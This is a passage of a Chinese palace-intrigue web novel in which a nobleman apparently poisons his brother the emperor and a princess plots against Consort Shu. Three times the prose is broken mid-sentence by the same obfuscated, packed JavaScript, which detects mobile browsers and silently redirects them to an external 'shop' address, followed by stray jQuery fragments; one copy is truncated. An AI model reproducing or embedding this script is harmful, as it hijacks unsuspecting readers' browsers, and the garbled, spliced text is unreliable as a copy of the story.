他向来极能忍耐，但对方故意为之，且她作为沁澜最信任的人，无法指责。
待那钻心蚀骨之痛稍稍缓解，陆承韫方睁开双眼，抬手拭去眼皮上的汗水，极为缓慢地穿衣，生怕伤口再次裂开。
短暂的上药与休整后，陆承韫侧身慢慢靠在软枕上，向来脾气温和的他，此刻也忍不住加重了语气。
“临月姑娘，我此伤乃是为你家主子而受，何至于这般直白？”
“脏，烦，一刻也难忍。”
身侧已扔了数十条帕子，临月的动作仍未停歇，“二公子还是不要这么厚颜无耻。你受伤是因为私欲作祟，自讨苦吃，自作自受。不过我家主子倾国倾城，文韬武略样样精通，你忍不住动作大了些，也是情理之中。”
“……果然，有什么样的主子，便有什么样的属下。你倒是……言辞犀利，毫不怯场。”
“过奖了。跟在你身边的那个傻缺元栖，倒是长相不俗，与二公子颇有几分相似。”
“……”
此话分明是指桑骂槐，拐弯抹角地说他愚钝如猪，唯有相貌可取。
陆承韫神色一僵，旋即恢复如常，“方才之言，我确实说得片面。你这帕子工序复杂，沁澜向来勤俭自强，不会如此奢侈。”
临月听罢动作一顿，猛然抬头，狠狠地瞪着他，“你这是什么意思？你不过是我家主子看中的玩物，竟还敢打她财产的主意！”
一无是处也就罢了，竟还吝啬到算计主子的财物。
天杀的，越想越觉得气愤！
临月霍然回身，一把抓起那叠帕子掀开车帘，气势汹汹地跳下马车，在马背上仔细翻找。
整个动作行云流水，陆承韫皱眉问道，“你在做什么？”
话音未落，临月已捧着书信和笔进来，头也不抬地咬牙切齿道：“我要给我家主子写信，让她看清你这个吝啬男人的丑陋真面目。”
“……”
有仇必报，尺度拿捏得恰到好处，真是个得罪不起的人物。
陆承韫熄了与她回怼的念头，默默地离她远了些。
此后一路，都乖乖听话，生怕沁澜手下的那帮人皆对他嗤之以鼻、不屑一顾，从而不停地劝解沁澜，让她选择更为痴情专一者。
以这姑娘的性子来看，这种事相当有可能发生啊……
＆
晓光穿透窗棂，丝丝缕缕的暖意洒满郡王府的寝殿，与殿内冉冉升起的炭火相互映衬。
床榻上的人嘴唇干裂，面色苍白如纸。
顾向暖坐在床沿，用勺子轻轻沾了点水，小心翼翼地点在那干涸的唇瓣上，动作温柔细致，与她那高挑的身材成鲜明对比。
萧沁澜平日事务繁多，对于昌盛侯的这个孙女，也只是在各种宴会上远远见过几面，从未这样近距离接触。
不得不说，她确实不同于寻常的闺阁千金，即不显得弱不禁风，却也并不壮实。
常年习武让她的体魄显得可靠安全，而祖辈遗传的高挑身材更是让人不得不抬头仰视。
目测之下，她的身高至少有一米八二，甚至更高。
体重或许在一百五十斤左右，但那些肉分布均匀，一点儿也不突兀，反而让她隐隐感到嫉妒。
换到现代妥妥一健美女神。
二人虽未成婚，相处得倒是和谐自然。
萧沁澜不欲打扰，悄悄退出了屋内，在外等待。
蔫润知见她立即凑了上来，“如何？她可有退货的念头？”
今日初见昌盛侯的孙女，相貌出众，不似外人说的那般不堪，除了与萧抒品味不同外，无论是家世抑或是品行皆无可挑剔。
眼下兄弟这种情况，若是被直接退婚，将来恐怕更难娶到门当户对的娘子了。
“很是耐心。”萧沁澜未多言，直接了当道：“话不多，但看来并不像打探实情，从而决定利弊的。”
“还好，那我便安心了。”蔫润知重重叹了口气，望了眼天色，关切问道：“饿了吗？今日你……不如留下一起用午膳吧？”
此时日头刚刚升起，初春时节，院子里未受光线照耀，角落冷风时时掠过。
萧沁澜眉目弯弯，柔声应了句“好”。
话音未落，还未来得及深入交谈朝局或琐事，便听身后屋门打开，“吱呀”一声后又慢慢关上。
顾向暖回身看到院内二人，上前欠身行礼。
蔫润知转瞬正色，语调淡然无波：“请起。”
同为巾帼，昌盛侯战功赫赫，萧沁澜步履轻盈，莲步微移，抬手虚扶她起身。
“久违重逢，顾小姐倒是越发柔美飒爽。”
身于京师这繁华之地，常年周旋于宴会官邸之间，顾向暖早已明了人情冷暖、真心伪意。
贤昭公主殿下心系百姓，当年豫
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13742851|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
州学子风波沸沸扬扬，她竟然不顾天家尊贵，屈尊跪地，力逼老臣与太后为学子们讨回公道。
祖父因此对公主殿下愈发敬重，府中时常感慨“奈何身为女子”。
此外不久前，贤昭公主殿下还于望月阁门前，为升斗小民训诫过当朝淑妃。
宁安宫危机四伏，受太后与陛下屡屡监视，又遭朝臣算计。
身处这般紧迫之境，仍能敢作敢为，实在是令人钦佩，堪称天下女子典范。
“多谢殿下。”
顾向暖声音清脆如银铃。
甫一出口，蔫润知心头一震，难以置信地垂眸，瞪大双眼。
萧抒真是……好福气啊……
萧沁澜从容自若，脸上笑意盎然，“顾小姐今日莅临郡王府，莫非是侯爷有要事相托？”
“并无此事。”
顾向暖望着眼前清丽绝俗的可人儿，语气更加温柔，“殿下无需多虑，昌盛侯府绝不会背信弃义。此番前来，仅是想探问侯府有何可助之处。不过，闻说昨夜太后连司空大人亦遣派至此，想必已无大碍。”
“司空大人医术高超，此番历经惊险，却已无大碍。只是……”萧沁澜抬眼稍稍仰望于她，“宁郡王腿部……余生恐怕难如常人行走。”
“我知道。此事在京师早已传遍。”
“一夜之间，就已人尽皆知？”蔫润知面色骤变，“前朝余孽，京师沸沸扬扬。这背后之人究竟意欲何为？莫非真如沁澜所言，与边关战事有所关联？”
“公主殿下智谋过人，祖父亦持此见解。”顾向暖含笑而言。
“顾姑娘谬赞了。”萧沁澜客气颔首，随即秀眉微蹙，望向远方，“一切皆属推测，边关实情究竟如何，尚不得而知。”
“朝廷兵马雄壮，国库丰盈，一切都会好转。”
萧沁澜道：“自是当然，但愿此战能无伤亡，毕竟士兵们亦有家人牵挂。”
此言一出，二人望向她的目光愈发柔和尊崇，思绪万千。
＆
智渊二年一月，边疆烽火连天，贼寇猖獗肆虐，智渊帝统率十万雄师御驾亲征。
当日到达稍作休整后，即刻召集将领，誓师出征，决心平定外患，捍卫明昭王朝永世昌隆。
正月二十四，龙旗猎猎，智渊帝亲临城楼擂鼓助威。
边关将士见状，士气高昂，奋勇杀敌，呐喊声震天。
凭借陛下的威信，敌军连连败退，缴获兵器马匹无数，战利品颇丰，首战告捷。
正月二十五，北狄异族重整旗鼓，率三万铁骑一往无前，冲锋陷阵。
可人心难测，彼等虽众，却来自各方部落，心怀各异，各自为政，互不统属。
智渊帝洞察秋毫，把握战机，再次登上城楼亲自擂鼓，为出征将士排兵布阵，分而治之。
未及一个时辰，敌军便已胆怯，四处逃窜，溃不成军。
明昭王朝二战再胜，将士无一死亡。
正月二十五午时，智渊帝于大帐中召集将领，共商大计。
当夜凌晨，身手矫健的将士悄然潜入敌军后方，将燃油洒于敌军牛羊粮草之上，旋即火光冲天，敌军大乱。
我军趁机救回被困商户，及时撤退，亦无一人死亡。
正月二十六，智渊帝亲自率军，掩杀分崩离析的北狄异族，一剑斩下敌首，大获全胜。
短短三日，作乱毁约的异族再无反抗之力，纷纷跪地求和。
自此，北狄重归明昭王朝，再次成为附属国，岁岁进贡无数金银，以确保一方安宁。
82. 陆墨凌结局
月色如银，边陲三重镇的云麓城内篝火炽烈，将士们簇拥在旁举杯高擎，杯中琼浆于火光映照之下光辉粼粼。
酒香馥郁，光影交错，众将士面颊绯红地颓然倒地，姿态各异，七歪八扭，嘴角勾勒的笑容几几乎延伸到了耳畔。
中等将领举杯豪饮，神情满是得意与自豪。
“堂堂一大部落的族长，逃亡之际竟然连盔甲都来不及披挂。你当时看到了吗，那什么族长转身刹那，还意外撞上了己方的利刃，当场殒命。
我举刀砍杀之余还抽空瞥了一眼他的神色，好家伙，懵懂无知的颓然倒地，至死都不懂是为什么失败的。
哈哈，想起那场景我就忍不住想笑。”
旁侧之人稍显文雅，盘膝而坐着娓娓道来，“自二公子献计火攻粮草后，陛下便悉心部署，是夜顺风顺水，真是天佑我明昭王朝。
此番景象，足见那些南蛮异族早已被天道所弃。”
“谁说不是呢！火攻粮草虽然是兵家惯用的策略，陛下却能忍心将那些牛羊尽数焚毁，简直实属罕见。
但情势紧迫，南蛮子有那么多人质在手，是不能缓缓图之的。
不过三天又实在太快了些。
哎，我等粗浅之人还是打仗更为适合。不想那么多，来，继续饮酒。”
“如此迅速亦有它的益处。至少我等可早日归家。三月份正是我女儿生辰，此番归去，却不知该带何物作为惊喜。哎，你们常驻边关，可有能长久保存的美食或趣物推荐？”
“这我可不得而知，你得去问问老林。不过我此次出征时夫人即将临盆。但愿这次归去，能赶上为夫人加油鼓劲。这可是我的第一个孩子，光是想想就心花怒放……”
此言一出，众人皆捧腹大笑。
营火熊熊，打趣嬉闹与欢声笑语传遍四野，不绝于耳。
与此同时，相隔几道院落的府邸深处，陆承韫端坐在卧房之中，目光低垂，凝望着手中那毫不起眼的纯白小瓷瓶。
“怎么？下不了决心吗？”
桌旁的临月斜睨着他，嘲讽冷笑，“借科举将至之机，迫使陛下速战速决，甚至不惜舍弃众多强壮的马匹与牛羊。这次二公子可是触了陛下痛处。
但公子可别忘了，科举之后朝中再无其他重要大事，剩下的就只有选妃、立后了。皇后人选已几乎确定，二公子不会还天真地以为，能借着兄弟的名义，让陛下成全什么吧？”
陆承韫自然不会有此妄想，即便他因那点血缘关系而心生善念，沁澜也绝不会坐视不理。
他犹豫，仅仅是因为对方乃当朝帝王。
帝王……
任由兄长凭借此等战功，回京与太后分庭抗礼，从而滋生出无数残害百姓的贪官污吏吗？
想到此，陆承韫抬眸直视着她，“沁澜究竟想走到哪一步？”
临月负手而立，漫不经心地斜站着，“我们主子打小就心地善良，实在不忍看到曾同袍同泽、有刎颈之交的皇兄半途惨死。
所以，只要能将陛下从皇位上拉下来，剩下的，就任由二公子自由发挥了。”
“若不致死，如何能逐下皇位？”
陆承韫苦涩浅笑，将那瓷瓶塞入腰封，决然起身离开了营帐。
望着他渐行渐远的背影，临月耸了耸肩，冷声道：“不过是兄弟阋墙，为夺皇位而自相残杀，与我们主子可毫无瓜葛。”
＆
夜幕深沉，月色皎洁，星河如细流般，倾泻在府邸的飞檐翘角之上。
檐壁之下，宫灯随风轻轻摇曳，柔和的光辉映照出小院的一隅景致。
陆承韫踏着月色而来，刚步入屋内，便见嫡亲兄长手执卷册，正全神贯注地批阅奏报。
他放下手中提着的食盒，掀起衣袍，俯身跪地高呼“万岁”。
萧墨凌眼下略带乌青，战场上的烽火狼烟激发了他内心深处的激情，此刻大获全胜，难免喜悦。
夜深人静，身边并无侍从，屋内仅有他们兄弟二人，此处自由自在，天地广阔，唯他一人主宰。
他隔着书案，遥遥抬起手臂，“承韫来了，快快请起。”
陆承韫听罢缓缓起身，重新提起食盒，站在原地沉默不语，静待兄长的吩咐。
“此次前来，可是有事要商议？”萧墨凌放下手中的朱笔，目光深邃地打量着他。
陆承韫提了提手中食盒，“兄长……”
一句话未落，他好似忽觉不妥，懊恼地垂下眼帘，握着食盒的手臂微微颤抖，青筋隐约可见，“陛下，微臣备下些许糕点，皆命后厨……”
他抿了抿唇，嗫嚅片刻后恭顺道出：“皆命后厨精心制作。陛下日理万机，还望保重龙体。”
望着他犹豫谨慎的模样，萧墨凌叹了口气，“朕虽已登基，但也明白你的心意。”
他绕过书案接下食盒，转身将其置于桌上，打开的刹那顿时愣怔。
这糕点样式、香味，皆与母亲所做的一模一样，就连那红色的点缀都如出一辙，分毫不差，显然是费了极大心思的。
他这个二弟除了懂事，没想到还有这般手艺。
回忆起往事，萧墨凌脸色柔和些许，亲自动手将糕点与羹汤摆放在桌面。
他乃九五之尊，天下共主，怎敢劳作。
陆承韫见状立即上前，伸手欲抢过食盒。
“好了。”萧墨凌轻轻拍开他的手背，语调含笑，“这里只有你与朕二人，不必拘泥于这些虚礼。”
说罢，他安然坐下，随手拈起一块糕点，先递予陆承韫。
陆承韫从容接过，将那块小巧精致的糕点一口吞下，随后又接过递来的羹汤，一勺一勺，当着他的面细细品饮。
看他毫不犹豫地用下，萧墨凌情真意切朝他一笑，“瞧你那急不可耐的模样，糕点应细嚼慢咽，下次可莫要像饿极之人一般。”
“是，微臣铭记陛下教诲。”
“边关苦寒，看来承韫确是食不知味，真是辛苦你了。”
萧墨凌随口关切后，方拈起小碟中的一块糕点品味，“这味道与母亲所做无异，朕许久未尝到这等美味了。”
陆承韫垂首而立，微微躬身，“父亲常言宫中殿墙冰冷，久立其中，悲喜皆不由己。若陛下喜爱，可多在此地驻足数日，微臣愿日日烹制母亲拿手菜肴，供陛下品尝。”
“那倒不必，时日尚长。此次回京定有不同之处。”
萧墨凌咽下口中糕点，饮了口茶，“再者，你曾说科举将至。明日启程回京需在各州府衙停留数日，既可视察民情，又可考察各地学子。待抵达京师，便可直接殿试。朕觉得你的建议甚为有理，无需在此地过久停留。”
“陛下智谋深远，微臣难以企及。”
“除此之外，后宫空寂无人，是时候挑选一些官家女子入宫充实内廷。待科举结束，此事便需着手办理。
你与润知一向交好，可前去问问哪家女子贤淑有德。朕不喜那些争宠斗艳之人。”
“是。”陆承韫答得干脆，始终未曾抬头。
京师众人皆知，与醇亲王最为亲近的乃是宁郡王，而此次却让自己刻意接近润知，其中定有深意。
果然，萧墨凌话音刚落，便抬起眼眸凝视着他，“三宫六院仅为朝局制衡之需。朕不喜心机过重之人，亦明白朝臣们的心思。但让其他妃嫔所生的孩子继承皇位，朕从未有过这念头。
此话，你需一字不差地传达给润知，他自会明白如何行事。”
陆承韫缄默不语。
言外之意，便是希望润知识时务，沁澜得体大方，包容后宫众多莺莺燕燕，甚至威胁到自身性命的子嗣。
此番得胜回京，即便润知被迫依着圣旨娶妻生子，却仍能保证对沁澜的痴情不改。
自己亦然。
可唯独兄长冷漠自私，最不值得信赖。
糕点奉上，亲眼目睹他食用完毕，陆承韫随之闲聊几句国公府琐事，便行礼告退，大步流星走出正院
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749174|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大门，期间始终未曾回首。
＆
北狄众多部落举族归顺，可汗无奈被迫投降，接下来便是商议朝贡之事。
此事需谨慎处理，不可急于求成。
萧墨凌不可独断专行，需回京后做些表面文章。
十万大军凯旋而归，未损过多兵卒，他特意留下太医院众人亲自照料伤者，又命三万军士暂时镇守此地，遂率领七万大军浩浩荡荡地返回京师。
大军阵容壮观，沿途黑压压一片，如长龙般蜿蜒不绝，望不到尽头，引人注目，也影响了回京的行程。
萧墨凌大手一挥，将大军一分为二。
一队直接返回京师郊外驻扎，等待封赏。
另一队则留下三千精骑兵护送陛下，沿途视察各州县风气。
陆承韫自是被留了下来。
边关威胁已除，萧墨凌无需再鼓舞士气。
时间充裕，此刻他坐在华贵的马车首位，饶有兴致地看向正在上药的女子，眼神微眯，“朕在国公府时，为何从未见过你？”
嗅觉还算敏锐。
临月收敛起对外人的锋芒，放下手中的瓷瓶，跪地磕头行礼，柔柔道：“回禀陛下，奴婢是在年节期间，被家人强行卖入青楼。
幸而父亲与老鸨商议价钱时，恰巧被路过的二公子所见，这才获救，得以在身边侍奉。”
“是吗？”萧墨凌侧头看向虚弱的胞弟，意味深长地问道。
陆承韫忍着嫌弃，“是，一切皆如月儿所言。”
“月儿？叫得这般亲热？看来此次回京，朕还要下旨赐婚了。”萧墨凌似笑非笑。
陆承韫听后脸上浮现惊喜，捂着胸口垂眸道：“多谢陛下厚爱，微臣此生定当好好珍惜她。”
原本只是想试探一下，没想到他竟还爽快地应下了。
萧墨凌脸色微沉，暗自思量。
自己这个胞弟现下为定国公府唯一的子嗣，婚事自然不能轻率。
斟酌利弊后，萧墨凌淡定道：“两情相悦固然好，但国公爷为明昭王朝立下赫赫战功，不可轻易怠慢。
正妻未娶，不可纳妾。如若你二人真的有意，便待此次回京后，朕亲自为你挑选一位与定国公世子相配的正妻，你可明白？”
“微臣知晓轻重。”陆承韫不卑不亢地回答，只是神情明显失落，快速与跪着的女子对视一眼，看似深情至极。
萧墨凌有意给女子一个下马威，让她明白尊卑有别，故而并未喊她起身。
车内气氛烦闷，半晌沉默，地面传来细微的响动。
临月听得分明，却久久等不到身旁动作，心里暗骂一声“废物”，旋即径直起身，自腰间取出一把闪着寒光的匕首，漫不经心地晃了晃。
未有命令，当着天家贵胄近身带刃，简直是诛九族的死罪。
萧墨凌眼中当即一片冷意，面色仍旧傲然，“承韫，这边是你看重的女子？当真是胆大包天，自寻死路。”
“……”
与之前的恭顺不同，陆承韫疏淡的眸子直直与他相撞，对视几息后，率先移开视线，闭上双眼，嘴唇翕动，终是平静无波地询问：“非要结果吗？”
临月嗤笑，“主子心善，但心异不同路，志殊不同行。二公子既然心有不忍，那就不要睁开眼睛。待回去后，我自会与主子交代得一清二楚，一丝不差！”
这话威胁十足。
陆承韫闻言陡然睁开双眼，细密的眼睫漠然垂下，望着那锋利尖锐的匕首，缓慢伸手，紧抿着嘴唇接过后，握在手中仔细审视，脸上没有半分表情。
此番举动实在出乎预料，萧墨凌思绪敏捷，反复猜测。
他这个弟弟惯来温顺，此女怕不是简单之辈。
决定做的艰难，且又轻而易举。
往后余生顺风顺水或是长久忍耐，便在举手之间。
陆承韫指尖细细摩挲着削铁如泥的刀刃，听着车外骤然响起的震天杀声，苦涩地笑出了声……
83. 第 83 章
春风先发苑中梅，樱杏桃梨次第开。
二月初始，宫中草木虽尚未葱郁，却已展露出勃勃生机。
碧空如洗，蔚蓝深邃，恰是万物复苏的佳期。
宁安宫内的炭盆已撤，因着夜里寒凉，厚重的门帘还未撤下，殿内有些略微昏暗。
萧沁澜端坐于案几之后，手中捻着暗卫几经辗转送来的信件，信上仅有二字——事成。
她神情淡淡，将信件揉成一团，轻轻扔于桌面上。
“主子，是否该着手下一步行动了？”
本采侍奉她多年，无需多问，仅观她这副淡然自若的态度，便知大事已成一半。
余下之路虽然仍旧艰辛，波折重重，但终究无人能够阻拦了。
就算那些大臣再怎样反对，亦是顺理成章，水到渠成。
萧沁澜微微抬起眼帘，身躯后仰靠在椅背上，望着那紧闭的殿门。
“此事重大，消息传回到现在不过五日，本宫还需安排诸多后续。”
本采听罢难掩兴奋，紧咬着下唇，瞬间跪倒在地，俯身叩首，“是，主子尽管吩咐。”
待主子登基为帝，这天下必将文修武备，海不波溢，风不鸣枝。
女子们的生活亦将更加自在，男儿们亦无需担忧功绩被夺，百姓更不会因贪官污吏的治理而苦不堪言，生活困顿。
只要她们这些人尽心辅佐，竭力完成主子所吩咐之事，定能确保明昭王朝永世不衰。
她语气起伏实在明显，萧沁澜明白她的心思。
这些追随者中有她偶然救下的，有为求温饱而鞠躬尽瘁的。
但多数为官者，皆因太祖皇帝解救百姓于水火之中，从而心怀感激罢了。
人心难测，权利、财富、生存，这三者才是普通人毕生所追求。
恰巧，她全部拥有。
萧沁澜缓缓起身，绕过书案，扶起跪着的她后打开殿门，步入廊下，抬眸望向那清澈蔚蓝的苍穹，抬手遮挡着刺眼的日光。
“去安排一下，南门鸢在此已久，是该表决心了。”
＆
午膳刚过，翊坤宫之中一片闲散，淑妃慵懒地倚靠在贵妃榻上，张开殷桃小口含住太监细心剥好的葡萄，闭上双眸细细品味。
“娘娘，这可是侯爷亲自派人送入宫中的佳品。费尽千辛万苦，才寻得这么一点儿。”
“嗯……”淑妃愉悦地应了一声，抬起眼帘，仔细审视着眼前的男子。
太监名为蓝生，是家中世代为奴的忠仆，因着身手不错，自小便跟随在她身边侍候。
那时她的父亲还未成为兴安伯，蓝生为了陪伴她自愿净身，向父亲请命入宫。
不过那处倒未完全净除。
陛下勤于政务，即便她宠冠后宫，一月之内也仅能与陛下相见三、四次。
小半年了，她至今未能怀上身孕。
淑妃叹息一声，望过去的双眸含着盈盈秋水。
殿内的宫女与下人皆已遣散出去，此刻唯有他们二人独处。
蓝生环顾四周，见无旁人便大胆地掏出帕子，细致擦拭她嘴角溢出的汁液。
淑妃并未躲闪，挑眉直视那灼热的视线，“这几日，前朝可有新的消息传来？”
“有。”
蓝生席地而坐，手臂抵着床沿，满目柔情地望着那娇艳欲滴的女子，细声细语地说道：“陛下打了胜仗，说不定会在殿试之前便早早班师回朝。
到那时，京师中将是最为热闹的日子。娘娘若想继续宠冠六宫，可得抓紧这个时机，在三月中旬怀上陛下的孩子。”
“瞧你说的，龙子一事讲究缘分，岂是说有便能有的？”
“娘娘身子康健，只要勤快些，定然能一举得子。”
“噢……”
淑妃抬眸上下打量着他，眼波流转间，美眸慑人心魄，似嗔似怪，“本宫虽不懂朝政，但此次打了胜仗回来后，陛下还要清算那些南蛮子的旧账。能来便不错了，怎么可能会勤快呢？”
说罢，她瞥了眼小碟中的葡萄。
蓝生忍不住笑出声来，“怪奴才，让娘娘馋了不是。”
话音刚落，他又仔细剥了个葡萄，试探性地递到她唇边，待她含住后未曾松手，而是稍稍前倾……
淑妃意味深长地与他视线相撞，细嫩的舌尖勾住多汁的果肉，似嫌不够，身体也随之前倾……
“哐当——”
恰在此刻，殿门被猛地撞开，一声震耳欲聋的巨响突如其来，门扉狠狠撞在两侧墙壁上来回反弹，足见来人力道之大。
淑妃被这猝不及防的响动吓得身躯陡然一颤，随即怒火中烧，霍然坐起身来，伸出纤纤玉指，怒声喝道：“何人如此大胆，竟敢擅闯本宫寝宫！来人，给本宫拖下去杖毙！”
声势倒是唬人，几息过去却无人回应她的命令，只有那尖锐的怒斥声在殿内回荡，伴随着一群人的脚步声渐渐逼近。
蓝生察觉不对，神色一僵，安抚地拍了拍她的手背后慌忙起身，“奴才去瞧瞧。”刚迈出一步，余光便瞧见一群侍卫浩浩荡荡地冲了进来，完全不打招呼，上前便将二人牢牢压制于地面。
无论是府中抑或是后宫，从未有人敢这样对待她。
淑妃被这一系列变故惊得暂时忘记了反抗，愣愣地看向那渐渐清晰的身影。
侍卫们持刀肃立两侧，让出中间的道路，南门鸢不疾不徐，迈着轻盈的步伐缓缓上前。
她含笑垂眸，俯视着地上那瞠目结舌的明艳女子。
“淑妃娘娘，真是胆大包天啊……”
“你！竟然是你！”
看到来人，淑妃如梦初醒，当即剧烈地挣扎起来，竭尽全力地反抗，同时怒气冲冲，嘴中不停地怒骂，“你这个下贱坯子生的贱种，竟然敢带兵闯入本宫寝殿！你可知本宫乃陛下与太后亲封的淑妃，当今四妃之一！岂是你这个贱种能轻易拿捏的！”
“真是嘴硬。”
南门鸢泰然自若，裒如充耳地看着垂死挣扎的仇人。
“好好压着，带走。”
“你敢！”淑妃声嘶力竭地喊道：“是你想动手还是贤昭公主？她只不过是个女子，只不过沾了太祖皇帝的一点血脉而已！这天下是陛下的天下，亦有本宫的份！让萧沁澜出来，本宫要当面与她……
与她在太后面前对峙！”
“长了脑子啊？”南门鸢稀奇地打量着她，“堵上她的嘴，聒噪。”
侍卫们依命行事，随意从床上撕下一块床纱，毫不怜惜地掰开了淑妃的下巴，将床纱塞入她口中，旋即又重新合上。
殿内一时间变得宁静安详。
淑妃疼得神思恍惚，连个“呜呜”声都未能发出。
大势已成，南门鸢斜了眼那安静如鸡的太监，冷笑一声。
家生子又如何，说到底还是随了主子的脾性，自私自利，连替主子求情都不敢，更遑论挨罚了。
还真是个……好男人啊！
南门鸢神情冷淡地转过身去，“你们先带淑妃去慈宁宫。”
侍卫们应声行动，将太监与淑妃像犯人一般压着，走出了寝宫，毫不避讳地向慈宁宫而去。
途中无数不明所以的宫娥、太监瑟瑟发抖，慌忙跪地垂首，不敢直视，将自己缩在角落内。
解决了一个，这宫内还有一个不省心的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13758678|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
南门鸢收敛了方才的自傲，欠身向身旁的宫女行了个礼。
“姑姑明鉴，臣女偶然发现姐姐不贞，无奈之下大义灭亲，前去禀报公主殿下，得了殿下吩咐特带侍卫前来，如今天色已晚，不知殿下可曾休息？”
宫女侧身躲过南门鸢的行礼，温和笑道：“南门姑娘折煞奴婢了，奴婢怎敢受姑娘的大礼。”
言罢，她又道：“殿下掌管后宫一切政务，此事重大，仅凭公主一人之言恐难以服众。还得辛苦南门姑娘一同前往慈宁宫，做个人证。”
“既是臣女亲眼所见，此乃自然。”
南门鸢笑着颔首。
看来无需对另一人出手，公主殿下自有分寸。
“姑娘请……”宫女侧身相让，垂首示意让她先行。
南门鸢安然若素，率先走出了翊坤宫，一路上闲聊谈笑，话题倒是与之千里之遥。
＆
慈宁宫内，明远太后愤恨地将茶盏掷于地上，“啪”的一声清响惊心动魄，碎裂之声刺耳至极。
“哼，兴安伯还真是野性难驯！送了个有根的陪侍宫妃，想要暗度陈仓，混淆皇家血脉。安稳了几年，倒真忘了这天下姓萧了。”
明远太后威严赫赫，平日淡然一瞥便令人心生寒意，更何况此刻怒容满面，气势如虹。
地上的淑妃身畔布条已除，发丝凌乱，衣裳不整地浑身战栗，眼中满是惊恐，昔日贵妇的风范早已荡然无存，战战兢兢，辩解之词梗于喉间，却不敢开口。
到底是后宫嫔妃，兴安伯又是最有资历的外戚，被喊来的萧沁澜连连摇头，侧身耐心劝慰道：“母后息怒。此事非同小可，不可妄加冤屈，还望母后详查细究，再做定夺。”
“这是自然，哀家岂会随意让人受冤？”明远太后接过宫女奉上的新茶，啜饮一口，暂时平复心绪后冷冷抬眼，望向同跪于地的南门鸢。
“哀家听宫人说，此事乃你偶然察觉？”
南门鸢答得肯定，面色却显而易见的胆怯，“正是，臣不敢妄言。因涉及国事，更不敢有丝毫隐瞒。”
“哦？”明远太后俯视众人，“那你且说说，宁安宫与翊坤宫相距甚远，你又是如何偶然发现，并及时擒获奸夫□□的？”
这便是赤裸裸的警示，稍有差池公主殿下亦将受到牵连，影响后续她不知的大事。
南门鸢纵得上天庇佑记起小时候的种种琐事，却因常年久居后院，对于朝堂后宫的诡计仅知皮毛。
此番若应对失当，她与娘亲的命运，恐怕将比现在更为凄惨，死后亦会遭人唾弃。
那可是掌握生杀大权的太后，该怎么办？
短短几息内，南门鸢思绪飞转，苦思冥想对策。
萧沁澜声色不动的自立于原地，漫不经心地瞥了眼颤抖不已的淑妃。
果然啊，在权势滔天之人的面前，骨子里无论怎样嚣张跋扈，亦会如临深渊，面如死灰。
欲人不知，莫若不为。
那些被她买入府中的平民女子，临终前是否也这般模样？
啧，怎能一概而论，那些女子本无罪，投胎前应是茫然无助的。
闻知淑妃倒台，卖女求荣，得到巨额赔偿的女子家人，现下又将作何感想？
是否会懊悔当初未曾挺身而出，未曾竭尽全力，甚至不惜牺牲性命，为亲人讨回公道呢？
一条寻常生命若想得公道，需有无数鲜血惨烈铺就。
这份公道，是时候公诸于世了。
萧沁澜唇角微扬，望向那仍在苦苦思索、眼神闪烁之人，柔声道：“只需坦言相告，切勿因私念而口不应心。本宫与母后，皆会逐一查明真相。”
84. 第 84 章
淑妃暗通宦者，扰乱宫廷秩序。
此事证据确凿，人赃并获，但因牵涉皇家威严，明远太后暂且将淑妃囚禁于翊坤宫禁足，待后续裁决，同时下令将淑妃入宫时，携带的所有仆从悉数押入慎刑司施以酷刑，以挖掘事实真相。
名曰探寻真相，实则仅为敷衍。
后宫嫔妃一旦涉嫌私情，能得全尸已是皇家恩赐。
淑妃苟延残喘，此番难以脱身，唯待陛下归来处置。
次日晨光熹微，京师初现烟火气息，大理寺衙门便迎来一对中年夫妇，他们不顾衙役的警告与重重威压，毅然决然地敲响申冤鼓，控诉伯爵府嫡女、当今祥妃娘娘残害百姓，手段残忍地分尸碎骨，事后竟想灭人满门。
此等惊天冤案一经传出，街头巷尾、摊贩商户、士人百姓等纷纷涌向衙门口指桑骂槐，喧嚣不已。
衙役们虽上前驱散，却收效甚微。
一时之间场面失控，大理寺寺卿急忙掷下碗筷，郑重地穿戴官服官帽后，升堂审理此案，为民申冤。
＆
宫内与京师皆陷入纷扰杂乱，而宁安宫内却独有一片宁静祥和。
廊腰曲折回环，檐角高耸如啄，翠瓦映衬红墙，宫娥与太监在其间穿梭忙碌。
檐下微风轻拂，携带着初春嫩草的淡淡香气，缓缓飘入殿内。
书案上，香炉袅袅升烟，朦胧而透彻，安神静心的檀香与之相互交织，沁人心脾。
萧沁澜悠然自得地窝在贵妃榻的软枕上，手中翻阅着一本游记，还时不时放下书卷，品一口茶水。
脚步声渐渐传来，本采端着两碟点心放在茶水旁，又细心地试了试茶壶温度，确认一切无误后，方走到她身后，轻轻捏肩。
